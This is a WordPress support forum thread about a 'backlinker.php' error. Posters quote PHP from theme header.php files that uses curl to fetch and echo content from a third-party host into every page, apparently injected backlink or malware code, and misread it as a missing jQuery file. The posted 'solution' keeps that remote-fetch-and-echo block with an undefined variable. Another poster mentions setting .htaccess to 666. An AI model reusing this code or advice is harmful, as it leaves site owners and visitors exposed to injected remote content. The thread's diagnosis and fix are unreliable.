# Help with backlinker.php / 404 Error

 * [14 years, 3 months ago](https://wordpress.org/support/topic/help-with-backlinkerphp-404-error/)
 * My site is: [http://ultrabantha.com/](http://ultrabantha.com/)
 * I’m getting this error message at the top of the page:
    **“Forbidden You don’t
   have permission to access /backlinker.php on this server.
 * Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument
   to handle the request.”
 * I tried deactivating all the plugins and that didn’t help. Then I tried installing
   the 2011 theme, and that fixed it, but it’s not what I want use. The theme I’m
   using is: FlexSqueeze 1.5.0 by Advantus Media, Inc.
 * Any help to fix this is appreciated. Hopefully I’m posting this in the right 
   place.

 * I just had the same problem and this solved it:
 * Look in header.php inside your current theme and find this line:
 * [http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js](http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js)
 * This server is no longer able to provide the .js file linked to your theme. I
   found it mine at:
 * [http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js](http://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.6.3.min.js)
 * Get a hold of the .js file (or google the heck out of the .js file you need) 
   and point to it on your server.

 * I am also having this same issue especially with my elegant themes.
 * You don’t have permission to access /backlinker.php on this server.
    Additionally,
   a 404 Not Found error was encountered while trying to use an ErrorDocument to
   handle the request. Apache mod_qos/9.69 mod_fcgid/2.3.6 mod_auth_passthrough/
   2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at 4llw4d.freefilesblog.com
   Port 80
 * Any help will be appreciated

 * I also tried changing my htaccess file to 666 like this person suggested but 
   it didn’t help:

 * Everyone who is having this issue seems to be running a site that has their jquery
   JavaScript hosted at freefilesblog.com. freefilesblog.com has locked the file
   for access, though. Most likely, you have this reference somewhere in the code
   of the header.php file for your theme:
    “[http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221](http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js&#8221);
 * jquery.com has the newest version of the jquery JavaScript for download, and 
   several free hosted locations. I haven’t had a chance to test it, yet, but hopefully
   this will lead someone else to the solution if it doesn’t just work.

 * **SOLUTION**
 * I successfully got rid of the error by replacing the following non-functioning
   code in my header.php:
 *     ```
       <?php
       if(function_exists('curl_init'))
       {
        $url = "http://www.4llw4d.freefilesblog.com/jquery-1.6.3.min.js";
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);
        curl_close($ch);
        echo "$data";
       }
       ?>
       ```
   
 * With this functioning call:
 *     ```
       <script src="http://code.jquery.com/jquery-1.7.1.min.js" type="text/javascript"></script>
       <?php
       if(function_exists('curl_init'))
       {
        $ch = curl_init();
        $timeout = 5;
        curl_setopt($ch,CURLOPT_URL,$url);
        curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
        curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
        $data = curl_exec($ch);
        curl_close($ch);
        echo "$data";
       }
       ?>
       ```

 * Hi,
 * I had the same issue – I installed a fresh copy of 3.3 on my local Mac and it
   freaked me out, namely because when I upgraded from 3.2.1 to 3.3 on another local
   instance I didn’t see it.
 * The fix eulamue posted fixed my problem. Just wanted to pass my findings so others
   will know it works.

 * I hate to be the only idiot out there, but I checked my header.php file in both
   the themes I have downloaded and I cannot find that code at all. The problem 
   is my site now takes forever to load and says waiting on freefilesblog.com so
   I know it is there somewhere just cannot find the code
    My header file is pretty
   short about a page and a half or less. I am pretty sure I am not just missing
   it Any ideas?

 * hereiamlive, the code may also reside in a plugin you use. If you can’t find 
   it in the header of your theme, then check through your plugins.

 * …Forgot to mention, especially plugins you get from a source other than WordPress.
